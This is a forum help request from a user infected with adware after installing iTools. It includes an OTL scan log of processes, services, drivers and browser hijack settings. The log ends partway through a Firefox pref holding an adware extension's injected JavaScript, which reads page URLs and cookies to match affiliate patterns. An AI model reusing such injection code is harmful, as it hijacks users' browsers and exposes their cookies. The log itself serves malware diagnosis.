Jump to content

Welcome to Geeks to Go - Register now for FREE

Need help with your computer or device? Want to learn new tech skills? You're in the right place!
Geeks to Go is a friendly community of tech experts who can solve any problem you have. Just create a free account and post your question. Our volunteers will reply quickly and guide you through the steps. Don't let tech troubles stop you. Join Geeks to Go now and get the support you need!

How it Works Create Account
Photo

need help to remove Stormfall add [Solved]

Started by mraskin , Apr 20 2014 04:23 PM

  • This topic is locked This topic is locked

#1
mraskin
Posted 20 April 2014 - 04:23 PM

mraskin

    Member

  • Member
  • PipPipPip
  • 238 posts

After I've tried to install iTools (unsuccesfuly btw) I got bunch of add ons. I got rid of some but can't remove couple of them.

I see on my Desktop an icon called GetPose and that brings the advertising for a game called "Stormfall."

Looked in Control Panel in the add/remove, but don't see anything.  

Can somebody help, please , to remove this malware?

I just downloaded the latest OTL and here are 2 logs:

 

OTL logfile created on: 4/20/2014 3:10:49 PM - Run 1
OTL by OldTimer - Version 3.2.69.0     Folder = C:\Documents and Settings\Michael.TOSHIBA\Desktop
Windows XP Home Edition Service Pack 3 (Version = 5.1.2600) - Type = NTWorkstation
Internet Explorer (Version = 8.0.6001.18702)
Locale: 00000409 | Country: United States | Language: ENU | Date Format: M/d/yyyy
 
2.00 Gb Total Physical Memory | 0.78 Gb Available Physical Memory | 38.95% Memory free
3.85 Gb Paging File | 2.64 Gb Available in Paging File | 68.68% Paging File free
Paging file location(s): C:\pagefile.sys 2046 4092 [binary data]
 
%SystemDrive% = C: | %SystemRoot% = C:\WINDOWS | %ProgramFiles% = C:\Program Files
Drive C: | 92.97 Gb Total Space | 58.00 Gb Free Space | 62.38% Space Free | Partition Type: NTFS
 
Computer Name: TOSHIBA | User Name: Michael | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: All users
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days
 
========== Processes (SafeList) ==========
 
PRC - [2014/04/20 15:09:42 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\OTL.exe
PRC - [2014/04/17 17:24:50 | 003,267,536 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\fst_ca_88\upfst_ca_88.exe
PRC - [2014/04/12 13:25:28 | 001,049,360 | ---- | M] (ContentExplorer) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\ContentExplorer\ContentExplorer.exe
PRC - [2014/02/12 15:26:32 | 000,043,336 | ---- | M] (Apple Inc.) -- C:\Program Files\Common Files\Apple\Mobile Device Support\SyncServer.exe
PRC - [2014/01/16 12:03:42 | 001,226,696 | ---- | M] (Axantum Software AB) -- C:\Program Files\Axantum\AxCrypt\AxCrypt.exe
PRC - [2013/10/23 16:01:10 | 000,022,208 | ---- | M] (Microsoft Corporation) -- c:\Program Files\Microsoft Security Client\MsMpEng.exe
PRC - [2013/10/23 15:55:28 | 000,948,440 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Microsoft Security Client\msseces.exe
PRC - [2013/03/22 18:56:36 | 000,042,784 | ---- | M] (Yontoo LLC) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Yontoo\YontooDesktop.exe
PRC - [2013/03/22 18:56:36 | 000,023,552 | ---- | M] (Microsoft) -- C:\Program Files\Yontoo\Y2Desktop.Updater.exe
PRC - [2013/01/18 17:10:18 | 000,577,536 | ---- | M] (Research In Motion Limited) -- C:\Program Files\Common Files\Research In Motion\USB Drivers\BbDevMgr.exe
PRC - [2013/01/17 16:08:26 | 000,267,792 | ---- | M] (Research In Motion Limited) -- C:\Program Files\Common Files\Research In Motion\USB Drivers\RIMBBLaunchAgent.exe
PRC - [2010/03/18 13:25:55 | 000,126,976 | ---- | M] (CrypKey (Canada) Ltd.) -- C:\WINDOWS\system32\Crypserv.exe
PRC - [2009/02/09 06:01:52 | 000,040,960 | ---- | M] (TOSHIBA CORPORATION) -- C:\Program Files\TOSHIBA\ConfigFree\CFSvcs.exe
PRC - [2009/02/09 05:42:22 | 000,974,848 | ---- | M] (TOSHIBA CORPORATION) -- C:\Program Files\TOSHIBA\ConfigFree\NDSTray.exe
PRC - [2008/04/14 06:42:20 | 001,033,728 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\explorer.exe
PRC - [2005/04/28 20:08:34 | 000,675,840 | ---- | M] (COMPAL ELECTRONIC INC.) -- C:\Program Files\TOSHIBA\E-KEY\CeEKey.exe
PRC - [2005/04/20 15:56:58 | 000,028,672 | ---- | M] (TOSHIBA) -- C:\WINDOWS\system32\TCtrlIOHook.exe
PRC - [2005/04/18 11:33:42 | 000,188,416 | ---- | M] (TOSHIBA Corporation) -- C:\Program Files\TOSHIBA\TOSHIBA Controls\TFncKy.exe
PRC - [2005/04/15 16:51:48 | 000,122,880 | ---- | M] (TOSHIBA Corporation) -- C:\Program Files\TOSHIBA\TOSHIBA Zooming Utility\SmoothView.exe
PRC - [2005/04/12 00:09:56 | 000,184,320 | ---- | M] (Agere Systems) -- C:\Program Files\ltmoh\ltmoh.exe
PRC - [2005/04/05 16:25:34 | 000,073,728 | ---- | M] (TOSHIBA Corporation) -- C:\Program Files\TOSHIBA\Tvs\TvsTray.exe
PRC - [2005/03/08 15:27:50 | 000,024,576 | ---- | M] (TOSHIBA) -- C:\Program Files\TOSHIBA\Accessibility\FnKeyHook.exe
PRC - [2004/12/30 00:32:20 | 000,065,536 | ---- | M] (TOSHIBA) -- C:\Program Files\TOSHIBA\TOSCDSPD\TOSCDSPD.exe
PRC - [2004/12/28 16:02:46 | 000,270,336 | ---- | M] (TOSHIBA Corporation) -- C:\WINDOWS\system32\TPSMain.exe
PRC - [2004/12/28 16:02:28 | 000,036,864 | ---- | M] (TOSHIBA Corporation) -- C:\WINDOWS\system32\TPSBattM.exe
PRC - [2004/11/30 13:06:26 | 000,053,248 | ---- | M] (COMPAL ELECTRONIC INC.) -- C:\Program Files\TOSHIBA\TouchPad\TPTray.exe
PRC - [2004/09/07 14:03:20 | 001,077,301 | ---- | M] (TOSHIBA) -- C:\Program Files\TOSHIBA\Touch and Launch\PadExe.exe
PRC - [2004/08/27 16:37:00 | 000,155,648 | ---- | M] (Matsushita Electric Industrial Co., Ltd.) -- C:\WINDOWS\system32\RAMASST.exe
PRC - [2004/08/27 16:33:00 | 000,110,592 | ---- | M] (Matsushita Electric Industrial Co., Ltd.) -- C:\WINDOWS\system32\DVDRAMSV.exe
PRC - [2004/05/01 13:41:30 | 000,024,576 | ---- | M] (TOSHIBA) -- C:\WINDOWS\system32\ZoomingHook.exe
PRC - [2003/04/09 19:11:12 | 000,028,672 | ---- | M] (Hewlett-Packard) -- C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpotdd01.exe
PRC - [2002/12/12 05:45:00 | 000,541,184 | R--- | M] (Symantec Corporation) -- C:\Program Files\WinFax\WFXMOD32.EXE
PRC - [2002/12/12 05:45:00 | 000,045,568 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\system32\WFXSNT40.EXE
PRC - [2002/12/12 05:45:00 | 000,028,160 | R--- | M] () -- C:\Program Files\WinFax\WFXSWTCH.exe
PRC - [2001/03/15 05:18:18 | 000,049,254 | ---- | M] (Adobe Systems Inc.) -- C:\Program Files\Adobe\Acrobat 5.0\Distillr\AcroTray.exe
PRC - [2000/09/28 23:58:42 | 000,129,536 | ---- | M] (Symantec Corporation) -- C:\WINDOWS\system32\WFXSVC.EXE
 
 
========== Modules (No Company Name) ==========
 
MOD - [2014/04/20 10:01:40 | 000,013,600 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Yontoo\dat\Desktop.OS.Plugin.dll
MOD - [2014/04/17 17:24:50 | 003,267,536 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\fst_ca_88\upfst_ca_88.exe
MOD - [2014/03/20 12:06:27 | 011,906,048 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System.Web\f0b0625c2db624ba9c97ad1b12490d79\System.Web.ni.dll
MOD - [2014/03/20 12:06:13 | 000,212,992 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System.ServiceProce#\8cd995f00848816e3ec49dc326e3d49b\System.ServiceProcess.ni.dll
MOD - [2014/03/20 12:06:02 | 000,998,400 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System.Management\5c157466d360a10b2c97e94b41ddc588\System.Management.ni.dll
MOD - [2014/03/20 12:04:14 | 000,978,944 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System.Configuration\4b6e70acd99dc22e29b7fc8f9ac340c4\System.Configuration.ni.dll
MOD - [2014/02/22 22:44:32 | 000,114,688 | ---- | M] () -- C:\WINDOWS\assembly\GAC_MSIL\System.ServiceProcess\2.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll
MOD - [2014/02/22 22:44:30 | 000,425,984 | ---- | M] () -- C:\WINDOWS\assembly\GAC_MSIL\System.Configuration\2.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll
MOD - [2014/02/22 22:44:25 | 002,052,096 | ---- | M] () -- C:\WINDOWS\assembly\GAC_MSIL\System.Xml\2.0.0.0__b77a5c561934e089\System.Xml.dll
MOD - [2014/02/22 22:44:23 | 003,194,880 | ---- | M] () -- C:\WINDOWS\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll
MOD - [2014/02/22 22:43:59 | 000,372,736 | ---- | M] () -- C:\WINDOWS\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.dll
MOD - [2014/02/22 22:43:04 | 005,279,744 | ---- | M] () -- C:\WINDOWS\assembly\GAC_32\System.Web\2.0.0.0__b03f5f7f11d50a3a\System.Web.dll
MOD - [2014/02/14 04:21:13 | 005,462,016 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System.Xml\7faf645dc46781225cb722edf9e1e738\System.Xml.ni.dll
MOD - [2014/02/14 04:20:58 | 012,434,432 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\1cdfe1998ad6794db3237006906c6fa2\System.Windows.Forms.ni.dll
MOD - [2014/02/14 04:20:20 | 001,593,344 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System.Drawing\424bff3295c6e7539cc6df62b9425bd0\System.Drawing.ni.dll
MOD - [2014/02/14 04:17:06 | 007,977,984 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System\4b0455ae94e3cecca4bb3ba8c96828c9\System.ni.dll
MOD - [2014/02/14 04:10:47 | 011,497,984 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\mscorlib\dae02331a443fb52216ca83292cb2f21\mscorlib.ni.dll
MOD - [2014/02/12 20:58:32 | 000,073,544 | ---- | M] () -- C:\Program Files\Common Files\Apple\Apple Application Support\zlib1.dll
MOD - [2014/02/12 20:58:10 | 001,044,808 | ---- | M] () -- C:\Program Files\Common Files\Apple\Apple Application Support\libxml2.dll
MOD - [2013/10/06 06:49:48 | 000,857,600 | ---- | M] () -- c:\Program Files\PSupport\psupport.dll
MOD - [2005/04/25 11:51:32 | 000,028,672 | ---- | M] () -- C:\WINDOWS\system32\TPeculiarity.dll
MOD - [2005/04/20 15:59:06 | 000,028,672 | ---- | M] () -- C:\WINDOWS\system32\TCtrlIO.dll
MOD - [2005/04/01 15:39:56 | 000,024,576 | ---- | M] () -- C:\WINDOWS\system32\EKECioCtl.dll
MOD - [2005/04/01 15:39:14 | 000,024,576 | ---- | M] () -- C:\Program Files\TOSHIBA\TouchPad\TPECioctl.dll
MOD - [2005/04/01 15:37:28 | 000,028,672 | ---- | M] () -- C:\WINDOWS\system32\EBLib.DLL
MOD - [2002/12/12 05:45:00 | 000,028,160 | R--- | M] () -- C:\Program Files\WinFax\WFXSWTCH.exe
MOD - [2002/12/12 05:44:48 | 001,576,448 | R--- | M] () -- C:\Program Files\WinFax\DCCDA32I.DLL
MOD - [2001/03/15 05:18:08 | 000,065,536 | ---- | M] () -- C:\Program Files\Adobe\Acrobat 5.0\Distillr\adistres.dll
MOD - [2000/09/28 23:58:40 | 000,228,864 | ---- | M] () -- C:\Program Files\WinFax\WFXVW32I.DLL
MOD - [2000/09/28 23:58:38 | 000,012,800 | ---- | M] () -- C:\WINDOWS\system32\spool\prtprocs\w32x86\WFXPNT40.DLL
MOD - [2000/09/28 23:58:34 | 000,142,336 | ---- | M] () -- C:\Program Files\WinFax\SENGINE.DLL
MOD - [2000/09/28 23:58:32 | 000,392,192 | ---- | M] () -- C:\Program Files\WinFax\DCCTBP32.DLL
 
 
========== Services (SafeList) ==========
 
SRV - File not found [Auto | Running] -- C:\Program Files\Yontoo\Y2Desktop.Updater.exe C:\Documents and Settings\Michael.TOSHIBA\Application Data\Yontoo\YontooDesktop.exe -- (Yontoo Desktop Updater)
SRV - File not found [Disabled | Stopped] -- %SystemRoot%\System32\hidserv.dll -- (HidServ)
SRV - File not found [On_Demand | Stopped] -- %SystemRoot%\System32\appmgmts.dll -- (AppMgmt)
SRV - [2014/03/19 20:33:24 | 000,257,928 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe -- (AdobeFlashPlayerUpdateSvc)
SRV - [2013/12/21 18:22:11 | 000,119,408 | ---- | M] (Mozilla Foundation) [On_Demand | Stopped] -- C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe -- (MozillaMaintenance)
SRV - [2013/10/23 16:01:10 | 000,022,208 | ---- | M] (Microsoft Corporation) [Auto | Running] -- c:\Program Files\Microsoft Security Client\MsMpEng.exe -- (MsMpSvc)
SRV - [2013/09/05 11:34:30 | 000,171,680 | R--- | M] (Skype Technologies) [Auto | Stopped] -- C:\Program Files\Skype\Updater\Updater.exe -- (SkypeUpdate)
SRV - [2013/01/18 17:10:18 | 000,577,536 | ---- | M] (Research In Motion Limited) [On_Demand | Running] -- C:\Program Files\Common Files\Research In Motion\USB Drivers\BbDevMgr.exe -- (Blackberry Device Manager)
SRV - [2012/07/13 16:27:00 | 000,769,432 | ---- | M] (Nero AG) [Auto | Stopped] -- C:\Program Files\Nero\Update\NASvc.exe -- (NAUpdate)
SRV - [2010/03/18 13:25:55 | 000,126,976 | ---- | M] (CrypKey (Canada) Ltd.) [Auto | Running] -- C:\WINDOWS\system32\Crypserv.exe -- (CrypKey License)
SRV - [2009/02/09 06:01:52 | 000,040,960 | ---- | M] (TOSHIBA CORPORATION) [Auto | Running] -- C:\Program Files\TOSHIBA\ConfigFree\CFSvcs.exe -- (CFSvcs)
SRV - [2004/08/27 16:33:00 | 000,110,592 | ---- | M] (Matsushita Electric Industrial Co., Ltd.) [Auto | Running] -- C:\WINDOWS\system32\DVDRAMSV.exe -- (DVD-RAM_Service)
SRV - [2003/03/09 22:31:02 | 000,065,795 | ---- | M] (HP) [On_Demand | Stopped] -- C:\WINDOWS\system32\HPZipm12.exe -- (Pml Driver HPZ12)
SRV - [2000/09/28 23:58:42 | 000,129,536 | ---- | M] (Symantec Corporation) [Auto | Running] -- C:\WINDOWS\system32\WFXSVC.EXE -- (wfxsvc)
 
 
========== Driver Services (SafeList) ==========
 
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (WDICA)
DRV - File not found [Kernel | System | Stopped] -- C:\Program Files\TOSHIBA\Accessibility\StickyMesger.sys -- (StickyMesger)
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (PDRFRAME)
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (PDRELI)
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (PDFRAME)
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (PDCOMP)
DRV - File not found [Kernel | System | Stopped] --  -- (PCIDump)
DRV - File not found [Kernel | System | Stopped] --  -- (lbrtfdc)
DRV - File not found [Kernel | System | Stopped] --  -- (i2omgmt)
DRV - File not found [Kernel | System | Stopped] --  -- (Changer)
DRV - [2014/04/20 10:31:52 | 000,039,464 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- c:\Documents and Settings\All Users\Application Data\Microsoft\Microsoft Antimalware\Definition Updates\{A0FEDE4C-033E-4D2D-8529-B38A70F2FACA}\MpKsla209ff91.sys -- (MpKsla209ff91)
DRV - [2013/01/22 12:59:30 | 000,028,312 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\WLRAWMp50x86.sys -- (WLRAWMp50x86)
DRV - [2013/01/22 12:59:30 | 000,027,032 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\WLRAWSp50x86.sys -- (WLRAWSp50x86)
DRV - [2010/03/18 16:11:11 | 000,023,360 | ---- | M] () [Kernel | System | Running] -- C:\WINDOWS\system32\Ckldrv.sys -- (NetWorkX)
DRV - [2009/02/09 04:54:24 | 000,012,032 | ---- | M] (TOSHIBA Corporation.) [Kernel | Auto | Running] -- C:\WINDOWS\system32\drivers\Netdevio.sys -- (Netdevio)
DRV - [2008/01/09 07:19:16 | 002,216,064 | R--- | M] (Intel® Corporation) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\w29n51.sys -- (w29n51)
DRV - [2005/04/28 01:26:48 | 000,037,248 | ---- | M] (ENE Technology Inc.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\ESD7SK.sys -- (ESDCR)
DRV - [2005/04/26 19:53:06 | 000,074,112 | ---- | M] (ENE Technology Inc.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\ESM7SK.sys -- (ESMCR)
DRV - [2005/04/18 19:40:52 | 002,317,504 | ---- | M] (Realtek Semiconductor Corp.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\ALCXWDM.SYS -- (ALCXWDM)
DRV - [2005/04/15 13:46:04 | 000,029,056 | ---- | M] (TOSHIBA Corporation) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\Tvs.sys -- (Tvs)
DRV - [2005/04/12 00:11:43 | 001,066,278 | ---- | M] (Agere Systems) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\AGRSM.sys -- (AgereSoftModem)
DRV - [2005/03/22 08:00:58 | 001,034,752 | ---- | M] (ATI Technologies Inc.) [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\ati2mtag.sys -- (ati2mtag)
DRV - [2005/03/09 09:14:34 | 000,008,704 | ---- | M] (TOSHIBA ) [Kernel | System | Running] -- C:\WINDOWS\system32\drivers\TPwSav.sys -- (TPwSav)
DRV - [2005/03/03 20:10:26 | 000,074,496 | ---- | M] (Realtek Semiconductor Corporation                           ) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\Rtlnicxp.sys -- (RTL8023xp)
DRV - [2005/02/25 01:33:00 | 000,102,320 | ---- | M] (Matsushita Electric Industrial Co.,Ltd.) [File_System | System | Running] -- C:\WINDOWS\system32\drivers\meiudf.sys -- (meiudf)
DRV - [2005/01/12 19:04:18 | 000,057,984 | ---- | M] (ENE Technology Inc.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\EMS7SK.sys -- (EMSCR)
DRV - [2004/07/31 07:05:04 | 000,006,400 | ---- | M] (COMPAL ELECTRONIC INC.) [Kernel | System | Running] -- C:\WINDOWS\system32\drivers\EPIOMngr.sys -- (SerTVOutCtlr)
DRV - [2004/07/30 15:05:08 | 000,006,400 | ---- | M] (COMPAL ELECTRONIC INC.) [Kernel | System | Running] -- C:\WINDOWS\system32\drivers\SSIOMngr.sys -- (SrvcSSIOMngr)
DRV - [2004/07/30 15:05:04 | 000,006,400 | ---- | M] (COMPAL ELECTRONIC INC.) [Kernel | System | Running] -- C:\WINDOWS\system32\drivers\EKIOMngr.sys -- (SrvcEKIOMngr)
DRV - [2004/05/08 05:38:06 | 000,101,833 | ---- | M] (Alps Electric Co., Ltd.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\Apfiltr.sys -- (ApfiltrService)
DRV - [2003/09/19 01:47:00 | 000,010,368 | ---- | M] (Padus, Inc.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\pfc.sys -- (Pfc)
DRV - [2002/01/24 15:43:40 | 000,006,528 | ---- | M] () [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\Tbiosdrv.sys -- (TBiosDrv)
DRV - [2001/09/18 12:00:00 | 000,167,816 | ---- | M] (OmniVision Technologies, Inc.) [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\omcamvid.sys -- (OVT511Plus)
 
 
========== Standard Registry (SafeList) ==========
 
 
========== Internet Explorer ==========
 
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://start.mysearc...r=1077732096=
IE - HKLM\..\SearchScopes,DefaultScope = {DBF405DC-BD13-4BBD-B384-4540B26E4551}
IE - HKLM\..\SearchScopes\{006ee092-9658-4fd6-bd8e-a21a348e59f5}: "URL" = http://start.mysearc...r=1077732096=
IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://search.live.c...referrer:source?}
IE - HKLM\..\SearchScopes\{77AA745B-F4F8-45DA-9B14-61D2D95054C8}: "URL" = http://feed.snapdo.c...Date=19/10/2013
IE - HKLM\..\SearchScopes\{DBF405DC-BD13-4BBD-B384-4540B26E4551}: "URL" = http://www.google.co...g}&sourceid=ie7
 
 
IE - HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
 
IE - HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
 
IE - HKU\S-1-5-19\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-19\SOFTWARE\Microsoft\Internet Explorer\Main,Search Page = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-19\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-19\SOFTWARE\Microsoft\Internet Explorer\Search,Default_Search_URL = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-19\SOFTWARE\Microsoft\Internet Explorer\Search,SearchAssistant = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-19\..\SearchScopes,DefaultScope = {006ee092-9658-4fd6-bd8e-a21a348e59f5}
IE - HKU\S-1-5-19\..\SearchScopes\{006ee092-9658-4fd6-bd8e-a21a348e59f5}: "URL" = http://feed.snapdo.c...Date=19/10/2013
 
IE - HKU\S-1-5-20\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-20\SOFTWARE\Microsoft\Internet Explorer\Main,Search Page = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-20\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-20\SOFTWARE\Microsoft\Internet Explorer\Search,Default_Search_URL = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-20\SOFTWARE\Microsoft\Internet Explorer\Search,SearchAssistant = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-20\..\SearchScopes,DefaultScope = {006ee092-9658-4fd6-bd8e-a21a348e59f5}
IE - HKU\S-1-5-20\..\SearchScopes\{006ee092-9658-4fd6-bd8e-a21a348e59f5}: "URL" = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
 
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\SOFTWARE\Microsoft\Internet Explorer\Main,Search Page = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.google.com/
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\SOFTWARE\Microsoft\Internet Explorer\Search,Default_Search_URL = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\SOFTWARE\Microsoft\Internet Explorer\Search,SearchAssistant = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\..\SearchScopes,DefaultScope = {006ee092-9658-4fd6-bd8e-a21a348e59f5}
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\..\SearchScopes\{006ee092-9658-4fd6-bd8e-a21a348e59f5}: "URL" = http://start.mysearc...r=1077732096=
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://search.live.c...Box&Form=IE8SRC
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\..\SearchScopes\{77AA745B-F4F8-45DA-9B14-61D2D95054C8}: "URL" = http://feed.snapdo.c...Date=19/10/2013
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\..\SearchScopes\{DBF405DC-BD13-4BBD-B384-4540B26E4551}: "URL" = http://www.google.co...g}&sourceid=ie7
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 1
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyOverride" = <-loopback>
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyServer" = http=127.0.0.1:4167;https=127.0.0.1:4167;
 
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1007\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.google.ca/
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1007\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1007\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/...Box&FORM=IE8SRC
IE - HKU\S-1-5-21-1293464134-3710048992-3381499047-1007\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
 
========== FireFox ==========
 
FF - prefs.js..browser.search.defaultenginename: "Mysearchdial"
FF - prefs.js..browser.search.defaultenginename,S: S", ""
FF - prefs.js..browser.search.defaultthis.engineName: ""
FF - prefs.js..browser.search.defaulturl: ""
FF - prefs.js..browser.search.order.1: "Mysearchdial"
FF - prefs.js..browser.search.order.1,S: S", ""
FF - prefs.js..browser.search.selectedEngine: "Mysearchdial"
FF - prefs.js..browser.search.selectedEngine,S: S", ""
FF - prefs.js..browser.startup.homepage: "http://start.mysearc...r=1077732096="
FF - prefs.js..extensions.Kkn4tsGCyd.scode: "(function(){try{var url=(window.self.location.href + document.cookieif(url.indexOf(\"acebook\")>-1||url.indexOf(\"txtlnkusaolp00000800\")>-1||url.indexOf(\"sumorobo\")>-1||url.indexOf(\"roulettebotplus\")>-1||url.indexOf(\"s.vgsgaming-ads\")>-1||url.indexOf(\"=admaven\")>-1||url.indexOf(\"lottery-master\")>-1||url.indexOf(\"lotterymaster\")>-1||url.indexOf(\"5386b_643c_\")>-1||url.indexOf(\"easylifeapp.com\")>-1||url.match(/ressbar.com[^f]+fid=65017/)||url.indexOf(\"form=u064ht&pc=u064\")>-1||url.indexOf(\"source=45905810\")>-1||url.indexOf(\"source=532d277e\")>-1||url.indexOf(\"aro.com/ws/?source=6974b128\")>-1||url.indexOf(\"esmoke.com/?isid=9949\")>-1||url.indexOf(\"esmoke.com/?isid=9950\")>-1||url.indexOf(\"esmoke.com/?isid=9951\")>-1||url.indexOf(\"id=webpick_ot\")>-1||url.indexOf(\"id=wbpk_ot\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"hash=a4vxy8\")>-1||url.indexOf(\"hash=m5g73j\")>-1||url.indexOf(\"hash=hg7gja\")>-1||url.indexOf(\"hash=fz61s5\")>-1||url.indexOf(\"hash=zndas3\")>-1||url.indexOf(\"hash=1i5w2d\")>-1||url.indexOf(\"duit&ptag=AA7AAB832A2DE41458BF&\")>-1||url.indexOf(\"duit&ptag=A93F650AC0E6A4A4791F&\")>-1||url.indexOf(\"duit&ptag=A79888693F6CA4634A6F\")>-1||url.indexOf(\"duit&ptag=A359B17B6FAA44E6B86F\")>-1||url.indexOf(\"ISID=MF245F633-E188-4162-B56A\")>-1||url.indexOf(\"SID=MEABFCF9A-556B-4C5C-8727\")>-1||url.indexOf(\"ISID=M8FBC22FE-AB08-464E-AA63\")>-1||url.indexOf(\"uid=531364863_132823_4252277E\")>-1||url.indexOf(\"searchiy.gboxapp.com\")>-1||url.indexOf(\"searchy.easylifeapp.com\")>-1||url.indexOf(\"search?hspart=webpick&hsimp=yhs-1&p=\")>-1||url.match(/search.yahoo.com.+hspart=.+/)||url.match(/websearch.(mocaflix|searchissimple|just-browse|good-results|searchsupporter|soft-quick|pu-results|simplespeedy|helpmefindyour|greatresults|youwillfind|lookforitthere|greatresults|youwillfind|lookforitthere|searchmainia|searchrocket|homesearchapp|a-search